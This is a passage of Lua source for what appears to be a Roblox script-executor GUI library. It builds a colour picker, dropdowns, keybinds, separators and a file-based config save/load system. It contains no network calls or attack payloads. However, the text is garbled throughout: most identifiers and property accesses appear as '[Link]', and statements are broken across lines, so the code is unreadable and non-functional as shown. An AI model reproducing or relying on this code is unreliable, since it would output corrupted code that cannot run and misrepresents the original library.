colorpicker.Outline2 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 98
[Link] =
[Link] + [Link](4, 4)
[Link] = 0
colorpicker.Outline2.BackgroundColor3 =
[Link]
[Link] = [Link](-2,
-2)
[Link]:Connect(function(theme)
colorpicker.Outline2.BackgroundColor3 =
[Link]
end)

colorpicker.BlackOutline3 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 98
[Link] =
[Link] + [Link](2, 2)
[Link] = 0
colorpicker.BlackOutline3.BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-1, -1)
[Link]:Connect(function(theme)
colorpicker.BlackOutline3.BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("ImageLabel",
[Link])
[Link] = 101
[Link] = [Link](0,3,0,3)
[Link] = [Link](0,172,0,172)
[Link] = "rbxassetid://4155801252"
[Link] = [Link]
[Link].BackgroundColor3 = [Link](1,0,0)
[Link].BorderColor3 =
[Link].outlinecolor2
[Link]:Connect(function(theme)
[Link].BorderColor3 =
theme.outlinecolor2
end)
[Link] =
[Link]("ImageLabel", [Link])
[Link] = 101
[Link]
= 1
[Link] = 0
[Link] =
[Link](0, 0, 0, 0)
[Link] = [Link](0, 7,
0, 7)
[Link] =
"rbxassetid://6885856475"

[Link] = [Link]("TextLabel",
[Link])
[Link] = 100
[Link] = [Link](0,3,0,181)
[Link] = [Link](0,173,0,10)
[Link].BackgroundColor3 =
[Link](255,255,255)
[Link].BorderColor3 =
[Link].outlinecolor2
[Link] = ""
[Link]:Connect(function(theme)
[Link].BorderColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("UIGradient",
[Link])
[Link] = [Link]({
[Link](0,
[Link](1,0,0)),
[Link](0.17,
[Link](1,0,1)),

[Link](0.33,[Link](0,0,1)),

[Link](0.5,[Link](0,1,1)),
[Link](0.67,
[Link](0,1,0)),
[Link](0.83,
[Link](1,1,0)),
[Link](1, [Link](1,0,0))
})

[Link] = [Link]("Frame",
[Link])
[Link] = 101
[Link].BackgroundColor3 =
[Link](40, 40, 40)
[Link] = [Link](0,0,0,0)
[Link] = [Link](0,2,0,10)
[Link].BorderColor3 =
[Link](255, 255, 255)

if [Link] and [Link] ~= "" then


[Link][[Link]] =
[Link]
end

function colorpicker:RefreshSelector()
local pos = [Link]((mouse.X -
[Link].X) / [Link].X, 0, 1)
[Link] = 1 - pos

[Link]:TweenPosition([Link](pos, 0, 0, 0),
[Link], [Link], 0.05)
[Link].BackgroundColor3 =
[Link](1 - pos, 1, 1)
end

function colorpicker:RefreshHue()
local x = (mouse.X -
[Link].X) / [Link].X
local y = (mouse.Y -
[Link].Y) / [Link].Y

[Link]:TweenPosition([Link]([Link](x *
[Link].X, 0.5, 0.952 * [Link].X) /
[Link].X, 0, [Link](y * [Link].Y,
0.5, 0.885 * [Link].Y) / [Link].Y, 0),
[Link], [Link], 0.05)

colorpicker:Set([Link]([Link], [Link](x *
[Link].X, 0.5, 1 * [Link].X) /
[Link].X, 1 - ([Link](y * [Link].Y,
0.5, 1 * [Link].Y) / [Link].Y)))
end

function colorpicker:Set(value)
local color = [Link]([Link](value.r, 0,
1), [Link](value.g, 0, 1), [Link](value.b, 0, 1))
[Link] = color
if [Link] and [Link] ~= ""
then
[Link][[Link]] = color
end
local clr = [Link]([Link](color.R /
1.7, 0, 1), [Link](color.G / 1.7, 0, 1), [Link](color.B / 1.7, 0, 1))
[Link] =
[Link]({ [Link](0.00, color),
[Link](1.00, clr) })
pcall([Link], color)
end
function colorpicker:Get()
return [Link]
end
colorpicker:Set([Link])

function colorpicker:AddDropdown(items, default,


multichoice, callback, flag)
local dropdown = { }

[Link] = items or { }
[Link] = default
[Link] = callback or function() end
[Link] = multichoice or false
[Link] = { }
[Link] = flag or (([Link] or
"") .. tostring( #([Link]:GetChildren()) ))

[Link] = [Link]("TextButton",
[Link])
[Link] = "dropdown"
[Link].BackgroundColor3 =
[Link](255, 255, 255)
[Link] = 0
[Link] =
[Link]([Link] - 12, 16)
[Link] = [Link](0, 0)
[Link] = 5
[Link] = false
[Link] = [Link]
[Link] = ""
[Link].TextColor3 = [Link](255,
255, 255)
[Link] = 15
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
end)

[Link] = [Link]("UIGradient",
[Link])
[Link] = 90
[Link] =
[Link]{[Link](0.00, [Link](49, 49, 49)),
[Link](1.00, [Link](39, 39, 39))}

[Link] =
[Link]("TextLabel", [Link])
[Link].BackgroundColor3 =
[Link](255, 255, 255)
[Link] =
1
[Link] =
[Link](5, 2)
[Link] =
[Link](130, 13)
[Link] = [Link]
[Link] = [Link]
[Link] = 5
[Link].TextColor3 =
[Link](255, 255, 255)
[Link] = 15
[Link] =
1
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
end)

[Link] = [Link]("ImageButton",
[Link])
[Link] = "navigation"
[Link] = 1
[Link] = 10
[Link] =
[Link]([Link] - 26, 5)
[Link] = 90
[Link] = 5
[Link] = [Link](8, 8)
[Link] = "rbxassetid://4918373417"
[Link].ImageColor3 = [Link](210,
210, 210)

dropdown.BlackOutline2 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] =
[Link] + [Link](6, 6)
[Link] = 0
dropdown.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-3, -3)
[Link]:Connect(function(theme)
dropdown.BlackOutline2.BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] = [Link](-
2, -2)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link]
+ [Link](2, 2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link](-1, -1)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
theme.outlinecolor2
end)
[Link] =
[Link]("ScrollingFrame", [Link])
[Link] = "itemsframe"
[Link] = 0
[Link].BackgroundColor3 =
[Link](40, 40, 40)
[Link] =
[Link](0, [Link] + 8)
[Link] = 2
[Link] = 8
[Link] = "Y"
[Link] = false
[Link] =
[Link]([Link].X, 0)

[Link] =
[Link]("UIListLayout", [Link])
[Link] =
[Link]
[Link] =
[Link]

[Link] =
[Link]("UIPadding", [Link])
[Link] = [Link](0,
2)
[Link] =
[Link](0, 2)
[Link] = [Link](0,
2)
[Link] = [Link](0,
2)

dropdown.BlackOutline2Items =
[Link]("Frame", [Link])
[Link] = "blackline"
[Link] = 7
[Link] =
[Link] + [Link](6, 6)
[Link] = 0
dropdown.BlackOutline2Items.BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link] + [Link](-3, -3)
[Link] = false
[Link]:Connect(function(theme)

dropdown.BlackOutline2Items.BackgroundColor3 = theme.outlinecolor2
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 7
[Link] =
[Link] + [Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] =
[Link] + [Link](-2, -2)
[Link] = false
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] =
[Link]("Frame", [Link])
[Link] = "blackline"
[Link] = 7
[Link] =
[Link] + [Link](-2, -2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link] + [Link](-1, -1)
[Link] = false
[Link]:Connect(function(theme)

[Link].BackgroundColor3 = theme.outlinecolor2
end)

[Link] =
[Link]("TextButton", [Link])

[Link] = 1
[Link] = 0
[Link] =
[Link](0, [Link] + 8)
[Link] = [Link](0,
0, 0, 0)
[Link] = 7
[Link] = ""
[Link] = false
[Link] =
false

if [Link] and [Link] ~= "" then


[Link][[Link]] =
[Link] and { [Link] or [Link][1] or "" } or
([Link] or [Link][1] or "")
end

function dropdown:isSelected(item)
for i, v in pairs([Link]) do
if v == item then
return true
end
end
return false
end

function dropdown:updateText(text)
if #text >= 27 then
text = text:sub(1, 25) .. ".."
end
[Link] = text
end

[Link] =
[Link]("BindableEvent")
function dropdown:Set(value)
if type(value) == "table" then
[Link] = value

dropdown:updateText([Link](value, ", "))


pcall([Link], value)
else
dropdown:updateText(value)
[Link] = { value }
pcall([Link], value)
end

[Link]:Fire(value)
if [Link] and [Link] ~= ""
then
[Link][[Link]] =
[Link] and [Link] or [Link][1]
end
end

function dropdown:Get()
return [Link] and
[Link] or [Link][1]
end

[Link] = { }
function dropdown:Add(v)
local Item = [Link]("TextButton",
[Link])
Item.BackgroundColor3 =
[Link](40, 40, 40)
Item.TextColor3 = [Link](255,
255, 255)
[Link] = 0
[Link] = [Link](0, 0)
[Link] =
[Link]([Link] - 4, 20)
[Link] = 9
[Link] = v
[Link] = v
[Link] = false
[Link] = [Link]
[Link] = 15
[Link] =
[Link]
[Link] = 1
[Link] =
[Link] + [Link](0, [Link].Y)

Item.MouseButton1Down:Connect(function()
if [Link] then
if dropdown:isSelected(v)
then
for i2, v2 in
pairs([Link]) do
if v2 == v then

[Link]([Link], i2)
end
end

dropdown:Set([Link])
else

[Link]([Link], v)

dropdown:Set([Link])
end

return
else
[Link] = 90
[Link] =
false
[Link] =
false
[Link]
= false

[Link] = false

[Link] = false

[Link] = false

[Link] = false
end

dropdown:Set(v)
return
end)

[Link]:Connect(function()
if [Link] and
dropdown:isSelected(v) or [Link][1] == v then
Item.BackgroundColor3 =
[Link](64, 64, 64)
Item.TextColor3 =
[Link]
[Link] = " " .. v
else
Item.BackgroundColor3 =
[Link](40, 40, 40)
Item.TextColor3 =
[Link](255, 255, 255)
[Link] = v
end
end)

[Link]([Link], v)
[Link] =
[Link]([Link], [Link](#[Link] *
[Link].Y, 20, 156) + 4)
[Link] =
[Link]([Link].X, (#[Link] *
[Link].Y) + 4)

[Link] =
[Link] + [Link](4, 4)
[Link] =
[Link] + [Link](2, 2)
[Link] =
[Link] + [Link](6, 6)
[Link] =
[Link]
end

function dropdown:Remove(value)
local item =
[Link]:FindFirstChild(value)
if item then
for i,v in pairs([Link]) do
if v == value then

[Link]([Link], i)
end
end

[Link] =
[Link]([Link], [Link](#[Link] *
[Link].Y, 20, 156) + 4)
[Link] =
[Link]([Link].X, (#[Link] *
[Link].Y) + 4)

[Link] =
[Link] + [Link](2, 2)
[Link] =
[Link] + [Link](4, 4)
[Link] =
[Link] + [Link](6, 6)
[Link] =
[Link]

item:Remove()
end
end

for i,v in pairs([Link]) do


dropdown:Add(v)
end

if [Link] then
dropdown:Set([Link])
end

local MouseButton1Down = function()


if [Link] == 90 then

[Link] = true
[Link]
= false
tweenservice:Create([Link],
[Link](0.1, [Link], [Link]), { Rotation =
-90 }):Play()
[Link] = true
[Link] = true
[Link]
= true
[Link] =
true
[Link] =
true
[Link]
= true
[Link]
= true
else

[Link] = false
[Link]
= true
tweenservice:Create([Link],
[Link](0.1, [Link], [Link]), { Rotation =
90 }):Play()
[Link] = false
[Link] = false
[Link]
= false
[Link] =
false
[Link] =
false
[Link]
= false
[Link]
= false
end
end

[Link].MouseButton1Down:Connect(MouseButton1Down)

[Link].MouseButton1Down:Connect(MouseButton1Down)

[Link]:Connect(function()
dropdown.BlackOutline2.BackgroundColor3 =
[Link]
end)

[Link]:Connect(function()
dropdown.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
end)

sector:FixSize()
[Link]([Link], dropdown)
return dropdown
end

local dragging_selector = false


local dragging_hue = false

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging_selector = true
colorpicker:RefreshSelector()
end
end)

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging_selector = false
colorpicker:RefreshSelector()
end
end)

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging_hue = true
colorpicker:RefreshHue()
end
end)

[Link]:Connect(function(input)
if [Link] ==
[Link].MouseButton1 then
dragging_hue = false
colorpicker:RefreshHue()
end
end)

[Link]:Connect(function(input)
if dragging_selector and [Link] ==
[Link] then
colorpicker:RefreshSelector()
end
if dragging_hue and [Link] ==
[Link] then
colorpicker:RefreshHue()
end
end)

local inputBegan = function(input)


if [Link] ==
[Link].MouseButton1 then
for i,v in
pairs([Link]) do
if v and i ~=
[Link] then
[Link] = false
[Link][i]
= false
end
end

[Link] = not
[Link]

[Link][[Link]] =
[Link]
if
[Link][[Link]] then

colorpicker.BlackOutline2.BackgroundColor3 = [Link]
else

colorpicker.BlackOutline2.BackgroundColor3 = [Link].outlinecolor2
end
end
end

[Link]:Connect(inputBegan)
[Link]:Connect(inputBegan)

[Link]:Connect(inputBegan)

sector:FixSize()
[Link]([Link], colorpicker)
return colorpicker
end

function
sector:AddKeybind(text,default,newkeycallback,callback,flag)
local keybind = { }

[Link] = text or ""


[Link] = default or "None"
[Link] = callback or function() end
[Link] = newkeycallback or
function(key) end
[Link] = flag or text or ""

[Link] = [Link]

[Link] = [Link]("TextLabel",
[Link])
[Link] = 1
[Link] = [Link](156, 10)
[Link] = 4
[Link] = [Link]
[Link] = [Link]
[Link].TextColor3 = [Link]
[Link] = 15
[Link] = 1
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
[Link].TextColor3 = [Link]
end)
[Link] = [Link]("TextButton",
[Link])
[Link] = "keybind"
[Link] = 1
[Link].BorderColor3 = [Link]
[Link] = 5
[Link] = 0
[Link] =
[Link]([Link] - 10, 0)
[Link] = [Link]
[Link].TextColor3 = [Link](136, 136,
136)
[Link] = 15
[Link] =
[Link]
[Link].MouseButton1Down:Connect(function()
[Link] = "[...]"
[Link].TextColor3 =
[Link]
end)
[Link]:Connect(function(theme)
[Link].BorderColor3 = [Link]
[Link] = [Link]
end)

if [Link] and [Link] ~= "" then


[Link][[Link]] = [Link]
end

local shorter_keycodes = {
["LeftShift"] = "LSHIFT",
["RightShift"] = "RSHIFT",
["LeftControl"] = "LCTRL",
["RightControl"] = "RCTRL",
["LeftAlt"] = "LALT",
["RightAlt"] = "RALT"
}

function keybind:Set(value)
if value == "None" then
[Link] = value
[Link] = "[" .. value .. "]"

local size =
textservice:GetTextSize([Link], [Link],
[Link], [Link](2000, 2000))
[Link] =
[Link](size.X, size.Y)
[Link] =
[Link]([Link] - 10 - [Link].X, 0)
if [Link] and [Link] ~= ""
then
[Link][[Link]] = value
end
pcall([Link], value)
end

[Link] = value
[Link] = "[" ..
(shorter_keycodes[[Link] or value] or ([Link] or value)) .. "]"

local size =
textservice:GetTextSize([Link], [Link],
[Link], [Link](2000, 2000))
[Link] = [Link](size.X,
size.Y)
[Link] =
[Link]([Link] - 10 - [Link].X, 0)
if [Link] and [Link] ~= "" then
[Link][[Link]] = value
end
pcall([Link], value)
end
keybind:Set([Link] and [Link] or
"None")

function keybind:Get()
return [Link]
end

[Link]:Connect(function(input, gameProcessed)
if not gameProcessed then
if [Link] == "[...]" then
[Link].TextColor3 =
[Link](136, 136, 136)
if [Link] ==
[Link] then
keybind:Set([Link])
else
keybind:Set("None")
end
else
if [Link] ~= "None" and
[Link] == [Link] then
pcall([Link])
end
end
end
end)

sector:FixSize()
[Link]([Link], keybind)
return keybind
end

function sector:AddDropdown(text, items, default,


multichoice, callback, flag)
local dropdown = { }

[Link] = text or ""


[Link] = items or { }
[Link] = default
[Link] = callback or function() end
[Link] = multichoice or false
[Link] = { }
[Link] = flag or text or ""
[Link] = [Link]("Frame",
[Link])
[Link] = "backlabel"
[Link] = 7
[Link] =
[Link]([Link] - 12, 34)
[Link] = 0
[Link] = 1

[Link] = [Link]("TextLabel",
[Link])
[Link].BackgroundColor3 = [Link](255,
255, 255)
[Link] = 1
[Link] =
[Link]([Link] - 12, 10)
[Link] = [Link](0, 0)
[Link] = [Link]
[Link] = [Link]
[Link] = 4
[Link].TextColor3 = [Link]
[Link] = 15
[Link] = 1
[Link] =
[Link]

[Link]:Connect(function(theme)
[Link] = [Link]
[Link].TextColor3 = [Link]
end)

[Link] = [Link]("TextButton",
[Link])
[Link] = "dropdown"
[Link].BackgroundColor3 = [Link](255,
255, 255)
[Link] = 0
[Link] =
[Link]([Link] - 12, 16)
[Link] = [Link](0, 17)
[Link] = 5
[Link] = false
[Link] = [Link]
[Link] = ""
[Link].TextColor3 = [Link](255, 255,
255)
[Link] = 15
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
end)

[Link] = [Link]("UIGradient",
[Link])
[Link] = 90
[Link] =
[Link]{[Link](0.00, [Link](49, 49, 49)),
[Link](1.00, [Link](39, 39, 39))}
[Link] = [Link]("TextLabel",
[Link])
[Link].BackgroundColor3 =
[Link](255, 255, 255)
[Link] = 1
[Link] = [Link](5,
2)
[Link] = [Link](130,
13)
[Link] = [Link]
[Link] = [Link]
[Link] = 5
[Link].TextColor3 =
[Link](255, 255, 255)
[Link] = 15
[Link] = 1
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
end)

[Link] = [Link]("ImageButton",
[Link])
[Link] = "navigation"
[Link] = 1
[Link] = 10
[Link] =
[Link]([Link] - 26, 5)
[Link] = 90
[Link] = 5
[Link] = [Link](8, 8)
[Link] = "rbxassetid://4918373417"
[Link].ImageColor3 = [Link](210, 210,
210)

dropdown.BlackOutline2 = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](6, 6)
[Link] = 0
dropdown.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
[Link] = [Link](-
3, -3)
[Link]:Connect(function(theme)
dropdown.BlackOutline2.BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] = [Link](-2, -2)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 4
[Link] = [Link] +
[Link](2, 2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] = [Link](-1,
-1)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("ScrollingFrame",
[Link])
[Link] = "itemsframe"
[Link] = 0
[Link].BackgroundColor3 =
[Link](40, 40, 40)
[Link] = [Link](0,
[Link] + 8)
[Link] = 2
[Link] = 8
[Link] = "Y"
[Link] = false
[Link] =
[Link]([Link].X, 0)

[Link] = [Link]("UIListLayout",
[Link])
[Link] =
[Link]
[Link] =
[Link]

[Link] = [Link]("UIPadding",
[Link])
[Link] = [Link](0, 2)
[Link] = [Link](0, 2)
[Link] = [Link](0, 2)
[Link] = [Link](0, 2)

dropdown.BlackOutline2Items = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 7
[Link] =
[Link] + [Link](6, 6)
[Link] = 0
dropdown.BlackOutline2Items.BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link] + [Link](-3, -3)
[Link] = false
[Link]:Connect(function(theme)
dropdown.BlackOutline2Items.BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 7
[Link] = [Link]
+ [Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 =
[Link]
[Link] =
[Link] + [Link](-2, -2)
[Link] = false
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
[Link]
end)

[Link] = [Link]("Frame",
[Link])
[Link] = "blackline"
[Link] = 7
[Link] =
[Link] + [Link](-2, -2)
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] =
[Link] + [Link](-1, -1)
[Link] = false
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
theme.outlinecolor2
end)

[Link] =
[Link]("TextButton", [Link])
[Link] = 1
[Link] = 0
[Link] =
[Link](0, [Link] + 8)
[Link] = [Link](0, 0, 0,
0)
[Link] = 7
[Link] = ""
[Link] = false
[Link] = false
if [Link] and [Link] ~= "" then
[Link][[Link]] =
[Link] and { [Link] or [Link][1] or "" } or
([Link] or [Link][1] or "")
end

function dropdown:isSelected(item)
for i, v in pairs([Link]) do
if v == item then
return true
end
end
return false
end

function dropdown:GetOptions()
return [Link]
end

function dropdown:updateText(text)
if #text >= 27 then
text = text:sub(1, 25) .. ".."
end
[Link] = text
end

[Link] = [Link]("BindableEvent")
function dropdown:Set(value)
if type(value) == "table" then
[Link] = value
dropdown:updateText([Link](value,
", "))
pcall([Link], value)
else
dropdown:updateText(value)
[Link] = { value }
pcall([Link], value)
end

[Link]:Fire(value)
if [Link] and [Link] ~= "" then
[Link][[Link]] =
[Link] and [Link] or [Link][1]
end
end

function dropdown:Get()
return [Link] and [Link]
or [Link][1]
end

[Link] = { }
function dropdown:Add(v)
local Item = [Link]("TextButton",
[Link])
Item.BackgroundColor3 = [Link](40, 40,
40)
Item.TextColor3 = [Link](255, 255, 255)
[Link] = 0
[Link] = [Link](0, 0)
[Link] =
[Link]([Link] - 4, 20)
[Link] = 9
[Link] = v
[Link] = v
[Link] = false
[Link] = [Link]
[Link] = 15
[Link] = [Link]
[Link] = 1
[Link] =
[Link] + [Link](0, [Link].Y)

Item.MouseButton1Down:Connect(function()
if [Link] then
if dropdown:isSelected(v) then
for i2, v2 in
pairs([Link]) do
if v2 == v then

[Link]([Link], i2)
end
end
dropdown:Set([Link])
else
[Link]([Link],
v)
dropdown:Set([Link])
end

return
else
[Link] = 90
[Link] = false
[Link] = false
[Link] =
false
[Link]
= false
[Link]
= false
[Link]
= false
[Link] =
false
end

dropdown:Set(v)
return
end)

[Link]:Connect(function()
if [Link] and
dropdown:isSelected(v) or [Link][1] == v then
Item.BackgroundColor3 =
[Link](64, 64, 64)
Item.TextColor3 =
[Link]
[Link] = " " .. v
else
Item.BackgroundColor3 =
[Link](40, 40, 40)
Item.TextColor3 =
[Link](255, 255, 255)
[Link] = v
end
end)

[Link]([Link], v)
[Link] =
[Link]([Link], [Link](#[Link] *
[Link].Y, 20, 156) + 4)
[Link] =
[Link]([Link].X, (#[Link] *
[Link].Y) + 4)

[Link] =
[Link] + [Link](4, 4)
[Link] =
[Link] + [Link](2, 2)
[Link] =
[Link] + [Link](6, 6)
[Link] =
[Link]
end

function dropdown:Remove(value)
local item =
[Link]:FindFirstChild(value)
if item then
for i,v in pairs([Link]) do
if v == value then
[Link]([Link],
i)
end
end

[Link] =
[Link]([Link], [Link](#[Link] *
[Link].Y, 20, 156) + 4)
[Link] =
[Link]([Link].X, (#[Link] *
[Link].Y) + 4)

[Link] =
[Link] + [Link](2, 2)
[Link] =
[Link] + [Link](4, 4)
[Link] =
[Link] + [Link](6, 6)
[Link] =
[Link]

item:Remove()
end
end
for i,v in pairs([Link]) do
dropdown:Add(v)
end

if [Link] then
dropdown:Set([Link])
end

local MouseButton1Down = function()


if [Link] == 90 then
tweenservice:Create([Link],
[Link](0.1, [Link], [Link]), { Rotation =
-90 }):Play()
if [Link] and #[Link] ~=
0 then

[Link] = true
[Link]
= false
[Link] = true
[Link] = true
[Link]
= true
[Link] =
true
[Link] =
true
[Link]
= true
[Link]
= true
end
else
tweenservice:Create([Link],
[Link](0.1, [Link], [Link]), { Rotation =
90 }):Play()
[Link] =
false
[Link] =
true
[Link] = false
[Link] = false
[Link] =
false
[Link] = false
[Link] = false
[Link] =
false
[Link] =
false
end
end

[Link].MouseButton1Down:Connect(MouseButton1Down)

[Link].MouseButton1Down:Connect(MouseButton1Down)

[Link]:Connect(function()
dropdown.BlackOutline2.BackgroundColor3 =
[Link]
end)
[Link]:Connect(function()
dropdown.BlackOutline2.BackgroundColor3 =
[Link].outlinecolor2
end)

sector:FixSize()
[Link]([Link], dropdown)
return dropdown
end

function sector:AddSeperator(text)
local seperator = { }
[Link] = text or ""

[Link] = [Link]("Frame", [Link])


[Link] = "Main"
[Link] = 5
[Link] =
[Link]([Link] - 12, 10)
[Link] = 0
[Link] = 1

[Link] = [Link]("Frame",
[Link])
[Link] = "Line"
[Link] = 7
[Link].BackgroundColor3 = [Link](70,
70, 70)
[Link] = 0
[Link] =
[Link]([Link] - 26, 1)
[Link] = [Link](7, 5)

[Link] = [Link]("Frame",
[Link])
[Link] = "Outline"
[Link] = 6
[Link] = 0
[Link].BackgroundColor3 =
[Link].outlinecolor2
[Link] = [Link](-1, -1)
[Link] = [Link] -
[Link](-2, -2)
[Link]:Connect(function(theme)
[Link].BackgroundColor3 =
theme.outlinecolor2
end)

[Link] = [Link]("TextLabel",
[Link])
[Link] = "Label"
[Link] = 1
[Link] = [Link]
[Link] = [Link]
[Link] = 8
[Link] = [Link]
[Link].TextColor3 = [Link](255, 255,
255)
[Link] = [Link]
[Link] = 1
[Link] =
[Link]
[Link]:Connect(function(theme)
[Link] = [Link]
[Link] = [Link]
end)

local textSize =
textservice:GetTextSize([Link], [Link], [Link],
[Link](2000, 2000))
local textStart = [Link].X / 2 -
(textSize.X / 2)

[Link] = [Link]("Frame",
[Link])
[Link] = "LabelBack"
[Link] = 7
[Link] =
[Link](textSize.X + 12, 10)
[Link] = 0
[Link].BackgroundColor3 =
[Link](30, 30, 30)
[Link] = [Link](0,
textStart - 6, 0, 0)
[Link]:Connect(function(theme)
textSize =
textservice:GetTextSize([Link], [Link], [Link],
[Link](2000, 2000))
textStart = [Link].X / 2 -
(textSize.X / 2)

[Link] =
[Link](textSize.X + 12, 10)
[Link] = [Link](0,
textStart - 6, 0, 0)
end)

sector:FixSize()
return seperator
end

return sector
end

function tab:CreateConfigSystem(side)
local configSystem = { }

[Link] = [Link] .. "/" ..


tostring([Link])
if (not isfolder([Link])) then
makefolder([Link])
end

[Link] = tab:CreateSector("Configs", side or


"left")
local ConfigName = [Link]:AddTextbox("Config
Name", "", ConfigName, function() end, "")
local default =
tostring(listfiles([Link])[1] or
""):gsub([Link] .. "\\", ""):gsub(".txt", "")
local Config = [Link]:AddDropdown("Configs",
{}, default, false, function() end, "")
for i,v in pairs(listfiles([Link])) do
if v:find(".txt") then

Config:Add(tostring(v):gsub([Link] .. "\\",
""):gsub(".txt", ""))
end
end

[Link] =
[Link]:AddButton("Create", function()
for i,v in
pairs(listfiles([Link])) do

Config:Remove(tostring(v):gsub([Link] .. "\\",
""):gsub(".txt", ""))
end

if ConfigName:Get() and ConfigName:Get() ~= "" then


local config = {}

for i,v in pairs([Link]) do


if (v ~= nil and v ~= "") then
if (typeof(v) == "Color3") then
config[i] = { v.R, v.G, v.B }
elseif
(tostring(v):find("[Link]")) then
config[i] = [Link]
elseif (typeof(v) == "table") then
config[i] = { v }
else
config[i] = v
end
end
end

writefile([Link] .. "/" ..
ConfigName:Get() .. ".txt", httpservice:JSONEncode(config))

for i,v in
pairs(listfiles([Link])) do
if v:find(".txt") then

Config:Add(tostring(v):gsub([Link] .. "\\",
""):gsub(".txt", ""))
end
end
end
end)

[Link] = [Link]:AddButton("Save",
function()
local config = {}
if Config:Get() and Config:Get() ~= "" then
for i,v in pairs([Link]) do
if (v ~= nil and v ~= "") then
if (typeof(v) == "Color3") then
config[i] = { v.R, v.G, v.B }
elseif
(tostring(v):find("[Link]")) then
config[i] =
"[Link]." .. [Link]
elseif (typeof(v) == "table") then
config[i] = { v }
else
config[i] = v
end
end
end

writefile([Link] .. "/" ..
Config:Get() .. ".txt", httpservice:JSONEncode(config))
end
end)

[Link] = [Link]:AddButton("Load",
function()
local Success = pcall(readfile,
[Link] .. "/" .. Config:Get() .. ".txt")
if (Success) then
pcall(function()
local ReadConfig =
httpservice:JSONDecode(readfile([Link] .. "/" .. Config:Get() ..
".txt"))
local NewConfig = {}

for i,v in pairs(ReadConfig) do


if (typeof(v) == "table") then
if (typeof(v[1]) == "number")
then
NewConfig[i] =
[Link](v[1], v[2], v[3])
elseif (typeof(v[1]) ==
"table") then
NewConfig[i] = v[1]
end
elseif
(tostring(v):find("[Link].")) then
NewConfig[i] =
[Link][tostring(v):gsub("[Link].", "")]
else
NewConfig[i] = v
end
end

[Link] = NewConfig

for i,v in pairs([Link]) do


for i2,v2 in pairs([Link])
do
if (i ~= nil and i ~= "" and
i ~= "Configs_Name" and i ~= "Configs" and [Link] ~= nil) then
if ([Link] == i) then
pcall(function()
v2:Set(v)
end)
end
end
end
end
end)
end
end)

[Link] =
[Link]:AddButton("Delete", function()
for i,v in
pairs(listfiles([Link])) do

Config:Remove(tostring(v):gsub([Link] .. "\\",
""):gsub(".txt", ""))
end

if (not Config:Get() or Config:Get() == "") then


return end
if (not isfile([Link] .. "/" ..
Config:Get() .. ".txt")) then return end
delfile([Link] .. "/" ..
Config:Get() .. ".txt")

for i,v in
pairs(listfiles([Link])) do
if v:find(".txt") then

Config:Add(tostring(v):gsub([Link] .. "\\",
""):gsub(".txt", ""))
end
end
end)

return configSystem
end

--[[ not finished lol


function tab:CreatePlayerlist(name)
local list = { }
[Link] = name or ""

[Link] = [Link]("Frame", [Link])


[Link] = [Link]:gsub(" ", "") .. "Sector"
[Link].BorderColor3 = [Link]
[Link] = 2
[Link] = [Link]([Link] - 22, 220)
[Link].BackgroundColor3 = [Link]
[Link] = [Link](0, 11, 0, 12)

[Link][#[Link] + 1] = 220
--[Link][#[Link] + 1].space = 220

[Link] = [Link]("Frame", [Link])


[Link] = "line"
[Link] = 2
[Link] = [Link]([Link] + 2, 1)
[Link] = 0
[Link] = [Link](-1, -1)
[Link].BackgroundColor3 = [Link]

[Link] = [Link]("Frame", [Link])


[Link] = "blackline"
[Link] = 1
[Link] = [Link] + [Link](4, 4)
[Link] = 0
[Link].BackgroundColor3 = [Link].outlinecolor2
[Link] = [Link](-2, -2)

